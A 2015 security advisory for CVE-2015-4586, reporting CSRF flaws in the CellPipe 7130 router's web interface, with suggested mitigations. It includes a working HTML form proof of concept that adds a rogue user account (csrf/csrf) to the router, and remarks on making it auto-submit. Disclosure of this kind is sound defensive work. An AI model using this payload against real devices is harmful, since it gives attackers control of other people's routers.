CellPipe Router CSRF vulnerability
Device model : CellPipe 7130 RG 5Ae. M2013 HOL
*Software Version:* : *1.0.0.20h.HOL*
CWE: 352 - https://cwe.mitre.org/data/definitions/352.html
CVE: CVE-2015-4586
Date: 16/06/2015
Discovered by: DiLi
Vulnerability type: Multiple CSRF vulnerabilities in the router's web
interface
CSRF (Cross Site Request Forgery) is an attack which forces an end user to
execute unwanted actions on a web application in which he/she is currently
authenticated. It is currently included in the OWASP Top 10 project.
Exploitation and Impact:
The exploitation of the above vulnerabilities, in addition with a social
engineering
attack, may lead to :
? Unwanted service exposure
? DNS Hijacking
? Disabling wireless security
? User account creation
I have tested the scenario with the user account creation and the proof of
concept is the following:
<html>
<body>
<form action="http://192.168.1.1/password.cmd
<http://192.168.2.1/password.cmd>">
<input type="hidden" name="action" value="add_user" />
<input type="hidden" name="userAdd" value="csrf" />
<input type="hidden" name="pwdAdd" value="csrf" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
If a router administrator executes the above code a user with credentials
(csrf/csrf) will be added.
In our PoC the administrator must press the Submit request but in a real
attack scenario an attacker can implement an auto submit javascript code.
In our case the router IP address is: 192.168.1.1. Of course it can be
exploited with the router's public IP address.
Suggested mitigation:
In order to properly patch the CSRF vulnerability the following measures
have to be
taken:
? Add a randomly generated token associated with the user's session in order
to prevent a CSRF attack. Alternatively a check to the referer header can be
introduced. Although referer headers can be easily spoofed, they can
prevent a CSRF attack of this kind.
